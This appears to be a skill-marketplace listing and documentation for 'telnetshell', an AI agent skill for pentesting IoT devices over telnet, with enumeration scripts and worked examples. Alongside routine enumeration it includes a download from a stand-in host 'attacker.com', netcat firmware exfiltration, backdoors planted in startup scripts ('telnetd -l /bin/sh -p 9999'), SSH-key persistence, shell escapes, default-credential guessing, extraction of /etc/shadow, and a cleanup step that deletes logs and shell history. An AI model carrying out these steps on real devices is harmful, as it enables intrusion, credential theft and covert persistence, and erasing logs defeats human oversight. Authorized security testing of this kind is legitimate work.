
Telnetshell
- 39 installs
- 805 repo stars
- Updated June 1, 2026
- brownfinesecurity/iothackbot
telnetshell is a Claude skill that interacts with IoT device shells over telnet for penetration testing and post-exploitation.
About
This skill interacts with IoT device shells accessible over telnet for penetration testing. A developer uses it to enumerate network-accessible devices, test weak or missing authentication, and run post-exploitation commands. It bundles telnet_helper.py, which cleans output, detects device prompts, supports batch command files, and logs all I/O to /tmp/telnet_session.log.
- Interacts with IoT device shells over telnet for pentesting
- Bundled telnet_helper.py handles prompts, timeouts, and JSON output
- Supports unauthenticated shells, weak-auth testing, and post-exploitation
Telnetshell by the numbers
- 39 all-time installs (skills.sh)
- Ranked #1,425 of 2,203 Security skills by installs in the Skillselion catalog
- Data as of Jul 31, 2026 (Skillselion catalog sync)
telnetshell capabilities & compatibility
- Capabilities
- iot shell · telnet enumeration · credential testing
- Use cases
- security audit
- Platforms
- Linux
- Pricing
- Free
What telnetshell says it does
This skill enables interaction with IoT device shells accessible via telnet for security testing and penetration testing operations.
It supports unauthenticated shells, weak authentication testing, device enumeration, and post-exploitation activities.
ALL commands run by Claude will be logged to `/tmp/telnet_session.log` by default.
npx skills add https://github.com/brownfinesecurity/iothackbot --skill telnetshellAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 39 |
|---|---|
| repo stars | ★ 805 |
| Last updated | June 1, 2026 |
| Repository | brownfinesecurity/iothackbot ↗ |
What it does
A pentester connects to an IoT device's telnet shell to enumerate it and run post-exploitation commands.
Who is it for?
Pentesters enumerating network-accessible IoT telnet shells
Skip if: Devices only reachable via a physical serial/UART port
When should I use this skill?
When the user needs to interact with network-accessible shells, IoT devices, or telnet services
What you get
Clean, logged, scriptable telnet command execution against IoT devices with automatic prompt detection.
By the numbers
- default telnet port 23
- default command timeout 3.0 seconds
Files
IoT Telnet Shell (telnetshell)
This skill enables interaction with IoT device shells accessible via telnet for security testing and penetration testing operations. It supports unauthenticated shells, weak authentication testing, device enumeration, and post-exploitation activities.
Prerequisites
- Python 3 with pexpect library (
pip install pexpectorsudo pacman -S python-pexpect) - telnet client installed on the system (
sudo pacman -S inetutilson Arch) - Network access to the target device's telnet port
Recommended Approach: Telnet Helper Script
IMPORTANT: This skill includes a Python helper script (telnet_helper.py) that provides a clean, reliable interface for telnet communication. This is the RECOMMENDED method for interacting with IoT devices.
Default Session Logging
ALL commands run by Claude will be logged to `/tmp/telnet_session.log` by default.
To observe what Claude is doing in real-time:
# In a separate terminal, run:
tail -f /tmp/telnet_session.logThis allows you to watch all telnet I/O as it happens without interfering with the connection.
Why Use the Telnet Helper?
The helper script solves many problems with direct telnet usage:
- Clean output: Automatically removes command echoes, prompts, and ANSI codes
- Prompt detection: Automatically detects and waits for device prompts
- Timeout handling: Proper timeout management with no arbitrary sleeps
- Easy scripting: Simple command-line interface for single commands or batch operations
- Session logging: All I/O logged to
/tmp/telnet_session.logfor observation - Reliable: No issues with TTY requirements or background processes
- JSON output: For programmatic parsing and tool chaining
Quick Start with Telnet Helper
Single Command:
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a"Custom Port:
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --command "ls /"With Custom Prompt (recommended for known devices):
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --prompt "^/ [#\$]" --command "ifconfig"Interactive Mode:
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --interactiveBatch Commands from File:
# Create a file with commands (one per line)
echo -e "uname -a\ncat /proc/version\nifconfig\nps" > commands.txt
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --script commands.txtJSON Output (for parsing):
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a" --jsonDebug Mode:
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "ls" --debugSession Logging (for observation):
# Terminal 1 - Run with logging
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--logfile /tmp/session.log \
--interactive
# Terminal 2 - Watch the session in real-time
tail -f /tmp/session.logNote: See OBSERVING_SESSIONS.md for comprehensive guide on monitoring telnet sessions.
See examples.md for full worked walkthroughs: initial device identification, BusyBox detection, full system enumeration, SUID hunting, and hardcoded-credential discovery.
Telnet Helper Options
Required (one of):
--command, -c CMD Execute single command
--interactive, -i Enter interactive mode
--script, -s FILE Execute commands from file
Connection Options:
--host, -H HOST Target host IP or hostname (required)
--port, -P PORT Telnet port (default: 23)
--timeout, -t SECONDS Command timeout (default: 3.0)
--prompt, -p PATTERN Custom prompt regex pattern
Output Options:
--raw, -r Don't clean output (show echoes, prompts)
--json, -j Output in JSON format
--logfile, -l FILE Log all I/O to file (default: /tmp/telnet_session.log)
--debug Show debug informationCommon Prompt Patterns
The helper script includes common prompt patterns, but you can specify custom ones:
# BusyBox shell (common on IoT)
--prompt "/\s*[#\$]\s*$"
# Standard root/user prompts
--prompt "^[#\$]\s*$"
# Custom device
--prompt "^MyDevice>\s*$"
# Uniview cameras
--prompt "^User@[^>]+>\s*$"Device Enumeration Example with Telnet Helper
Here's a complete example of safely enumerating a device:
# Set variables for convenience
HELPER="python3 .claude/skills/telnetshell/telnet_helper.py"
HOST="192.168.1.100"
PORT="2222"
LOGFILE="/tmp/telnet_session.log"
# System information
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "uname -a"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /proc/version"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /proc/cpuinfo"
# Check for BusyBox
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "busybox"
# Network configuration
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "ifconfig"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "route -n"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "netstat -tulpn"
# Process listing (may need longer timeout)
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --timeout 5 --command "ps aux"
# File system exploration
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "ls -la /"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "mount"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "df -h"
# Security assessment
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /etc/passwd"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "find / -perm -4000 2>/dev/null"IMPORTANT FOR CLAUDE CODE: When using this skill, ALWAYS include --logfile /tmp/telnet_session.log in every command so the user can monitor activity with tail -f /tmp/telnet_session.log.
Instructions
1. Connection Setup
Default connection:
- Port: 23 (standard telnet, override with
--port) - Timeout: 3 seconds (override with
--timeout) - Logging:
/tmp/telnet_session.logby default
Common telnet ports on IoT devices:
- 23: Standard telnet port
- 2222: Alternative telnet port (common on cameras)
- 8023: Alternative telnet port
- Custom ports: Check device documentation or nmap scan results
2. BusyBox Shells (Most IoT Devices)
IMPORTANT: The vast majority of IoT devices use BusyBox, a lightweight suite of Unix utilities designed for embedded systems. BusyBox provides a minimal shell environment with limited command functionality.
Identifying BusyBox:
# Check what shell you're using
busybox
busybox --help
# Or check symlinks
ls -la /bin/sh
# Often shows: /bin/sh -> /bin/busybox
# List available BusyBox applets
busybox --listBusyBox Limitations:
- Many standard Linux commands may be simplified versions
- Some common flags/options may not be available
- Features like tab completion may be limited or absent
- Some exploitation techniques that work on full Linux may not work
Common BusyBox commands available:
# Core utilities (usually available)
cat, ls, cd, pwd, echo, cp, mv, rm, mkdir, chmod, chown
ps, kill, top, free, df, mount, umount
grep, find, sed, awk (limited versions)
ifconfig, route, ping, netstat, telnet
vi (basic text editor - no syntax highlighting)
# Check what's available
busybox --list | sort
ls /bin /sbin /usr/bin /usr/sbinBusyBox-specific considerations for pentesting:
psoutput format may differ from standard Linux- Some privilege escalation techniques require commands not in BusyBox
- File permissions still work the same (SUID, sticky bits, etc.)
- Networking tools are often present (telnet, wget, nc/netcat, ftpget)
- Python/Perl/Ruby are usually NOT available (device storage constraints)
Useful BusyBox commands for enumeration:
# Check BusyBox version (may have known vulnerabilities)
busybox | head -1
# Network utilities often available
nc -l -p 4444 # Netcat listener
wget http://attacker.com/shell.sh
ftpget server file
telnet 192.168.1.1
# httpd (web server) often included
busybox httpd -p 8080 -h /tmp # Quick file sharing3. Device Enumeration
Once you have shell access, gather the following information:
System Information:
# Kernel and system info
uname -a
cat /proc/version
cat /proc/cpuinfo
cat /proc/meminfo
# Distribution/firmware info
cat /etc/issue
cat /etc/*release*
cat /etc/*version*
# Hostname and network
hostname
cat /etc/hostname
ifconfig -a
cat /etc/network/interfaces
cat /etc/resolv.conf
# Mounted filesystems
mount
cat /proc/mounts
df -h
# Running processes
ps aux
ps -ef
top -b -n 1User and Permission Information:
# Current user context
id
whoami
groups
# User accounts
cat /etc/passwd
cat /etc/shadow # If readable - major security issue!
cat /etc/group
# Sudo/privilege info
sudo -l
cat /etc/sudoersNetwork Services:
# Listening services
netstat -tulpn
lsof -i
# Firewall rules
iptables -L -n -v
cat /etc/iptables/*Interesting Files and Directories:
# Configuration files
ls -la /etc/
find /etc/ -type f -readable
# Web server configs
ls -la /etc/nginx/
ls -la /etc/apache2/
ls -la /var/www/
# Credentials and keys
find / -name "*.pem" 2>/dev/null
find / -name "*.key" 2>/dev/null
find / -name "*password*" 2>/dev/null
find / -name "*credential*" 2>/dev/null
grep -r "password" /etc/ 2>/dev/null
# SUID/SGID binaries (privilege escalation vectors)
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
# World-writable files/directories
find / -perm -2 -type f 2>/dev/null
find / -perm -2 -type d 2>/dev/null
# Development/debugging tools
which gdb gcc python perl ruby tcpdump
ls /usr/bin/ /bin/ /sbin/ /usr/sbin/4. Privilege Escalation (if not root)
Check for common vulnerabilities:
# Kernel exploits
uname -r # Check kernel version for known exploits
# Check for exploitable services
ps aux | grep root
# Writable service files
find /etc/init.d/ -writable 2>/dev/null
# Cron jobs
crontab -l
ls -la /etc/cron*
cat /etc/crontab5. Persistence and Further Access
Establish additional access methods:
# Add SSH access (if SSH is available)
mkdir -p /root/.ssh
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh
# Start SSH service (if not running)
/etc/init.d/ssh start
# or
/etc/init.d/sshd start
# or
/etc/init.d/dropbear start # Common on embedded devices
# Add to startup scripts
echo "/path/to/backdoor &" >> /etc/rc.local6. Firmware Extraction
Extract firmware for offline analysis:
# Find MTD partitions (common on embedded devices)
cat /proc/mtd
cat /proc/partitions
# Dump flash partitions
dd if=/dev/mtd0 of=/tmp/bootloader.bin
dd if=/dev/mtd1 of=/tmp/kernel.bin
dd if=/dev/mtd2 of=/tmp/rootfs.bin
# Copy to external storage or network
# If network is available:
nc attacker_ip 4444 < /tmp/rootfs.bin
# If HTTP server is available:
cd /tmp
busybox httpd -p 8000
# Then download from http://device_ip:8000/rootfs.binCommon IoT Device Scenarios
Scenario 1: No Authentication Shell
# Connect - drops directly to root shell
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --interactive
# Enumerate and exploitScenario 2: Custom Port No-Auth Shell
# Many IoT cameras use port 2222
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --interactiveScenario 3: Password-Protected Shell
# If you encounter a password prompt, the helper will detect it
# Try default credentials:
# - root/root
# - admin/admin
# - root/(empty)
# Search online for device-specific defaultsScenario 4: Limited Shell Escape
# If you get a limited shell:
# Try common escape techniques:
echo $SHELL
/bin/sh
/bin/bash
vi # Then :!/bin/sh
less /etc/passwd # Then !/bin/sh
find / -exec /bin/sh \;
awk 'BEGIN {system("/bin/sh")}'Security Testing Checklist
- [ ] Identify device and firmware version
- [ ] Check for unauthenticated access
- [ ] Test for default/weak credentials
- [ ] Enumerate network services and open ports
- [ ] Check for hardcoded credentials in files
- [ ] Test for command injection vulnerabilities
- [ ] Check file permissions (SUID, world-writable)
- [ ] Check for outdated software with known CVEs
- [ ] Test for privilege escalation vectors
- [ ] Extract firmware for offline analysis
- [ ] Document all findings with screenshots/logs
Best Practices
1. Always log your session: Default logfile is /tmp/telnet_session.log 2. Document everything: Take notes on commands, responses, and findings 3. Use batch scripts: Create enumeration scripts for common tasks 4. Research the device: Look up known vulnerabilities, default credentials, and common issues 5. Use proper authorization: Only perform pentesting on devices you own or have explicit permission to test 6. Be careful with destructive commands: Avoid commands that could brick devices or corrupt data 7. Monitor your session: Use tail -f in another terminal to watch activity
Troubleshooting
Problem: Connection refused
- Solution: Check if telnet service is running, verify port number, check firewall rules
Problem: Connection timeout
- Solution: Verify network connectivity, check if device is powered on, verify IP address
Problem: "Permission denied"
- Solution: Telnet service may require authentication, try default credentials
Problem: Commands not echoing
- Solution: Use
--rawflag to see unfiltered output
Problem: Garbled output or wrong prompt detection
- Solution: Use
--promptflag with custom regex pattern for your specific device
Pre-built Enumeration Scripts
The skill includes pre-built enumeration scripts for common tasks:
enum_system.txt: System information gatheringenum_network.txt: Network configuration enumerationenum_files.txt: File system explorationenum_security.txt: Security-focused enumeration
Usage:
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--script .claude/skills/telnetshell/enum_system.txtExample Usage
# Basic connection to standard telnet port
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a"
# Connection to custom port (common for IoT cameras)
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --command "ls /"
# Interactive session with logging
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--logfile /tmp/camera_session.log \
--interactive
# Batch enumeration
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--script enum_system.txt \
--json > results.json
# Long-running command with custom timeout
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--timeout 10 \
--command "find / -name '*.conf'"References
- BusyBox Official Site
- BusyBox Command List
- IoT pentesting resources and vulnerability databases
- Device-specific documentation and datasheets
# File System Exploration
# Usage: python3 telnet_helper.py --host IP --port PORT --script enum_files.txt
# Root directory listing
ls -la /
# Important directories
ls -la /etc
ls -la /tmp
ls -la /var
ls -la /home
ls -la /root
# Web server directories (if present)
ls -la /var/www
ls -la /usr/share/nginx
ls -la /srv
# Configuration files
ls -la /etc/*.conf
ls -la /etc/config
# Init scripts
ls -la /etc/init.d
ls -la /etc/rc.d
# Binary directories
ls -la /bin
ls -la /sbin
ls -la /usr/bin
ls -la /usr/sbin
# Library directories
ls -la /lib
ls -la /usr/lib
# Device information
ls -la /dev
# Proc filesystem interesting files
cat /proc/sys/kernel/hostname
cat /proc/sys/kernel/version
# Network Configuration Enumeration
# Usage: python3 telnet_helper.py --host IP --port PORT --script enum_network.txt
# Network interfaces
ifconfig -a
cat /proc/net/dev
# Routing table
route -n
cat /proc/net/route
# DNS configuration
cat /etc/resolv.conf
cat /etc/hosts
# Network connections and listening ports
netstat -tulpn
netstat -an
# ARP table
arp -a
cat /proc/net/arp
# Wireless configuration (if applicable)
iwconfig
cat /proc/net/wireless
# Firewall rules
iptables -L -n -v
# Network statistics
netstat -s
cat /proc/net/snmp
# Security Assessment Enumeration
# Usage: python3 telnet_helper.py --host IP --port PORT --script enum_security.txt
# Current user context
id
whoami
groups
# User accounts
cat /etc/passwd
cat /etc/group
# Shadow file (if readable)
cat /etc/shadow
# Running processes
ps aux
# SUID binaries
find / -perm -4000 -type f 2>/dev/null
# SGID binaries
find / -perm -2000 -type f 2>/dev/null
# World-writable files
find / -perm -2 -type f 2>/dev/null
# World-writable directories
find / -perm -2 -type d 2>/dev/null
# Files owned by current user
find / -user `whoami` 2>/dev/null
# Writable config files
find /etc -writable 2>/dev/null
# SSH keys
find / -name "*.key" 2>/dev/null
find / -name "*.pem" 2>/dev/null
find / -name "id_rsa*" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
# Password-related files
find / -name "*password*" 2>/dev/null
find / -name "*credential*" 2>/dev/null
# Cron jobs
crontab -l
ls -la /etc/cron*
cat /etc/crontab
# Sudo configuration
sudo -l
cat /etc/sudoers 2>/dev/null
# System Information Enumeration
# Usage: python3 telnet_helper.py --host IP --port PORT --script enum_system.txt
# Basic system info
uname -a
cat /proc/version
hostname
# CPU and memory
cat /proc/cpuinfo
cat /proc/meminfo
free
# Uptime and load
uptime
cat /proc/loadavg
# Check for BusyBox
busybox
# Firmware/OS version
cat /etc/issue
cat /etc/*release*
cat /etc/*version*
# Kernel modules
lsmod
cat /proc/modules
# Mounted filesystems
mount
cat /proc/mounts
df -h
# Storage devices
cat /proc/partitions
cat /proc/mtd
# Boot arguments
cat /proc/cmdline
Telnetshell Skill Examples
This document provides practical, real-world examples of using the telnetshell skill for IoT device penetration testing.
Table of Contents
1. Basic Reconnaissance 2. Complete Device Enumeration 3. Security Assessment 4. Firmware Extraction 5. Persistence Establishment 6. Network Analysis 7. Data Exfiltration 8. Post-Exploitation
---
Basic Reconnaissance
Example 1: Initial Device Identification
# Quick system check
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--command "uname -a"
# Output:
# Linux GM 3.3.0 #8 PREEMPT Sun Nov 27 23:01:06 PST 2016 armv5tel unknownExample 2: Checking for BusyBox
# Identify BusyBox version and available applets
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--command "busybox | head -5"Example 3: Multiple Quick Commands
# Create a quick check script
cat > quick_check.txt <<'EOF'
hostname
uname -a
cat /proc/version
df -h
EOF
# Run it
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--script quick_check.txt---
Complete Device Enumeration
Example 4: Full System Enumeration
# Run all enumeration scripts and save results
DEVICE="192.168.1.100"
PORT="2222"
OUTPUT_DIR="./enum_results"
mkdir -p "$OUTPUT_DIR"
# System info
python3 .claude/skills/telnetshell/telnet_helper.py \
--host "$DEVICE" \
--port "$PORT" \
--script .claude/skills/telnetshell/enum_system.txt \
--json > "$OUTPUT_DIR/system.json"
# Network info
python3 .claude/skills/telnetshell/telnet_helper.py \
--host "$DEVICE" \
--port "$PORT" \
--script .claude/skills/telnetshell/enum_network.txt \
--json > "$OUTPUT_DIR/network.json"
# File system
python3 .claude/skills/telnetshell/telnet_helper.py \
--host "$DEVICE" \
--port "$PORT" \
--script .claude/skills/telnetshell/enum_files.txt \
--json > "$OUTPUT_DIR/files.json"
# Security
python3 .claude/skills/telnetshell/telnet_helper.py \
--host "$DEVICE" \
--port "$PORT" \
--script .claude/skills/telnetshell/enum_security.txt \
--json > "$OUTPUT_DIR/security.json"
echo "Enumeration complete. Results saved to $OUTPUT_DIR/"Example 5: Automated Enumeration Report
# Create a comprehensive enumeration script
cat > full_enum.sh <<'EOF'
#!/bin/bash
DEVICE="$1"
PORT="${2:-2222}"
HELPER="python3 .claude/skills/telnetshell/telnet_helper.py"
echo "========================================="
echo "IoT Device Enumeration Report"
echo "Target: $DEVICE:$PORT"
echo "Date: $(date)"
echo "========================================="
echo
echo "[+] System Information"
$HELPER --host "$DEVICE" --port "$PORT" --command "uname -a"
$HELPER --host "$DEVICE" --port "$PORT" --command "cat /proc/cpuinfo | grep -E '(model|Hardware|Revision)'"
echo
echo "[+] Network Configuration"
$HELPER --host "$DEVICE" --port "$PORT" --command "ifconfig | grep -E '(inet|ether)'"
echo
echo "[+] Running Processes"
$HELPER --host "$DEVICE" --port "$PORT" --command "ps aux | head -20"
echo
echo "[+] Listening Services"
$HELPER --host "$DEVICE" --port "$PORT" --command "netstat -tulpn"
echo
echo "[+] User Accounts"
$HELPER --host "$DEVICE" --port "$PORT" --command "cat /etc/passwd"
echo
echo "========================================="
echo "Enumeration Complete"
echo "========================================="
EOF
chmod +x full_enum.sh
./full_enum.sh 192.168.1.100 2222 > device_report.txt---
Security Assessment
Example 6: Finding SUID Binaries
# Search for SUID binaries (privilege escalation vectors)
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--timeout 10 \
--command "find / -perm -4000 -type f 2>/dev/null"Example 7: Checking for Hardcoded Credentials
# Search configuration files for passwords
cat > search_creds.txt <<'EOF'
grep -r "password" /etc/ 2>/dev/null
grep -r "passwd" /etc/ 2>/dev/null
find / -name "*password*" 2>/dev/null
find / -name "*credential*" 2>/dev/null
find / -name "*.key" 2>/dev/null
find / -name "*.pem" 2>/dev/null
EOF
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--timeout 15 \
--script search_creds.txt > credentials_search.txtExample 8: Testing for Writable System Files
# Find world-writable files and directories
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--timeout 20 \
--command "find /etc /bin /sbin -writable 2>/dev/null"---
Firmware Extraction
Example 9: Identifying MTD Partitions
# Check MTD partitions (common on IoT devices)
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--command "cat /proc/mtd"
# Example output:
# dev: size erasesize name
# mtd0: 00040000 00010000 "u-boot"
# mtd1: 00300000 00010000 "kernel"
# mtd2: 00c00000 00010000 "rootfs"Example 10: Extracting Firmware via Network
# On attacker machine: Set up listener
nc -lvp 4444 > firmware.bin
# On target device via telnet:
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--timeout 30 \
--command "dd if=/dev/mtd2 | nc 192.168.1.50 4444"Example 11: Serving Firmware via HTTP
# Start HTTP server on device
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--command "cd /tmp && busybox httpd -p 8000"
# Then download from your machine:
# wget http://192.168.1.100:8000/mtd2ro---
Persistence Establishment
Example 12: Adding SSH Keys
# Add your public key for persistent access
YOUR_KEY="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... user@host"
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--interactive <<EOF
mkdir -p /root/.ssh
echo "$YOUR_KEY" >> /root/.ssh/authorized_keys
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys
cat /root/.ssh/authorized_keys
EOFExample 13: Creating Startup Script
# Add backdoor to startup
cat > add_backdoor.txt <<'EOF'
echo "telnetd -l /bin/sh -p 9999 &" >> /etc/init.d/rcS
cat /etc/init.d/rcS
EOF
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--script add_backdoor.txt---
Network Analysis
Example 14: Mapping Network Services
# Get all listening services
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--command "netstat -tulpn" --json | \
jq -r '.output' | \
grep LISTENExample 15: Network Scanning from Device
# Use the device to scan its local network
cat > network_scan.txt <<'EOF'
ping -c 1 192.168.1.1
ping -c 1 192.168.1.254
for i in $(seq 1 254); do ping -c 1 -W 1 192.168.1.$i && echo "Host 192.168.1.$i is up"; done
EOF
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--timeout 300 \
--script network_scan.txt > network_hosts.txt---
Data Exfiltration
Example 16: Extracting Configuration Files
# Download all config files
DEVICE="192.168.1.100"
PORT="2222"
FILES=(
"/etc/passwd"
"/etc/shadow"
"/etc/network/interfaces"
"/etc/config/network"
"/etc/config/wireless"
)
for file in "${FILES[@]}"; do
echo "Extracting: $file"
python3 .claude/skills/telnetshell/telnet_helper.py \
--host "$DEVICE" \
--port "$PORT" \
--command "cat $file" > "./extracted$(echo $file | tr '/' '_')"
doneExample 17: Database Extraction
# Find and extract databases
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--timeout 30 \
--command "find / -name '*.db' -o -name '*.sqlite' 2>/dev/null" | \
while read dbfile; do
echo "Found: $dbfile"
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--command "cat $dbfile" > "./$(basename $dbfile)"
done---
Post-Exploitation
Example 18: Interactive Shell Session
# Drop into interactive shell for manual exploration
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--logfile /tmp/manual_session.log \
--interactive
# In another terminal, monitor:
# tail -f /tmp/manual_session.logExample 19: Automated Cleanup
# Remove traces after testing (use responsibly!)
cat > cleanup.txt <<'EOF'
rm -f /tmp/*
rm -f /var/log/*
history -c
EOF
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--script cleanup.txtExample 20: Comprehensive Pentest Workflow
#!/bin/bash
# Complete IoT camera penetration test workflow
DEVICE="$1"
PORT="${2:-2222}"
REPORT_DIR="./pentest_$(date +%Y%m%d_%H%M%S)"
HELPER="python3 .claude/skills/telnetshell/telnet_helper.py"
mkdir -p "$REPORT_DIR"
echo "[+] Starting penetration test on $DEVICE:$PORT"
echo "[+] Report directory: $REPORT_DIR"
# Phase 1: Reconnaissance
echo "[1/5] Reconnaissance..."
$HELPER --host "$DEVICE" --port "$PORT" --script .claude/skills/telnetshell/enum_system.txt > "$REPORT_DIR/01_system.txt"
$HELPER --host "$DEVICE" --port "$PORT" --script .claude/skills/telnetshell/enum_network.txt > "$REPORT_DIR/02_network.txt"
# Phase 2: Enumeration
echo "[2/5] Enumeration..."
$HELPER --host "$DEVICE" --port "$PORT" --script .claude/skills/telnetshell/enum_files.txt > "$REPORT_DIR/03_files.txt"
$HELPER --host "$DEVICE" --port "$PORT" --command "ps aux" > "$REPORT_DIR/04_processes.txt"
# Phase 3: Security Assessment
echo "[3/5] Security Assessment..."
$HELPER --host "$DEVICE" --port "$PORT" --script .claude/skills/telnetshell/enum_security.txt > "$REPORT_DIR/05_security.txt"
$HELPER --host "$DEVICE" --port "$PORT" --timeout 30 --command "find / -perm -4000 2>/dev/null" > "$REPORT_DIR/06_suid.txt"
# Phase 4: Firmware Analysis
echo "[4/5] Firmware Analysis..."
$HELPER --host "$DEVICE" --port "$PORT" --command "cat /proc/mtd" > "$REPORT_DIR/07_mtd_partitions.txt"
$HELPER --host "$DEVICE" --port "$PORT" --command "cat /proc/partitions" > "$REPORT_DIR/08_partitions.txt"
# Phase 5: Vulnerability Documentation
echo "[5/5] Generating Report..."
cat > "$REPORT_DIR/README.md" <<EOF
# IoT Device Penetration Test Report
**Target**: $DEVICE:$PORT
**Date**: $(date)
**Tester**: Automated Scan
## Findings Summary
See individual files for detailed output:
- 01_system.txt: System information
- 02_network.txt: Network configuration
- 03_files.txt: File system enumeration
- 04_processes.txt: Running processes
- 05_security.txt: Security assessment
- 06_suid.txt: SUID binaries
- 07_mtd_partitions.txt: MTD partitions
- 08_partitions.txt: Partition layout
## Recommendations
TODO: Review findings and add recommendations
EOF
echo "[+] Penetration test complete!"
echo "[+] Results saved to: $REPORT_DIR/"
ls -lh "$REPORT_DIR/"Usage:
chmod +x complete_pentest.sh
./complete_pentest.sh 192.168.1.100 2222---
Tips and Best Practices
1. Always use --logfile: Keep records of all activities 2. Set appropriate timeouts: Long-running commands may need --timeout adjustment 3. Use JSON output for parsing: When piping to other tools, use --json 4. Test commands manually first: Verify commands work before scripting 5. Keep enumeration scripts updated: Add device-specific commands as you learn 6. Monitor sessions: Use tail -f to watch real-time activity 7. Document everything: Save all output for reporting and analysis 8. Respect scope: Only test devices you're authorized to assess
---
Troubleshooting Examples
Handling Timeouts
# If a command is timing out, increase the timeout
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--timeout 30 \
--command "find / -name '*.conf' 2>/dev/null"Custom Prompt Detection
# If output is being filtered incorrectly, specify custom prompt
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--prompt "^MyDevice>\s*$" \
--command "help"Debugging Issues
# Use --debug and --raw to see exactly what's happening
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--command "ls /" \
--debug \
--raw---
Additional Resources
- See
SKILL.mdfor complete documentation - See
OBSERVING_SESSIONS.mdfor session monitoring guide - Check enumeration script templates in the skill directory
- Review session logs in
/tmp/telnet_session.log
Observing Telnet Sessions in Real-Time
This guide explains how to monitor active telnet sessions while Claude Code is working, allowing you to observe all commands and responses in real-time without interfering with the automation.
Why Monitor Sessions?
Monitoring active sessions is valuable for:
- Learning: See exactly what commands Claude is running
- Security: Verify no unintended commands are executed
- Debugging: Identify issues with command execution or parsing
- Documentation: Capture complete session transcripts for reports
- Trust: Transparency in automation - see everything that happens
Default Session Logging
By default, the telnet helper script logs all I/O to /tmp/telnet_session.log. This happens automatically without any additional flags.
Quick Start: Watch Default Log
# In a separate terminal window or tmux/screen pane:
tail -f /tmp/telnet_session.logThat's it! You'll now see all telnet traffic in real-time.
Custom Log Locations
You can specify a custom log file location:
# Terminal 1: Run commands with custom logfile
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--logfile /tmp/my_session.log \
--command "ls /"
# Terminal 2: Watch the custom logfile
tail -f /tmp/my_session.logMulti-Terminal Setup
Using tmux (Recommended)
# Create a new tmux session
tmux new -s iot_pentest
# Split the window horizontally (Ctrl-b then ")
# Or split vertically (Ctrl-b then %)
# In the top pane: Run your commands
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--interactive
# In the bottom pane (Ctrl-b then arrow key to switch): Watch the log
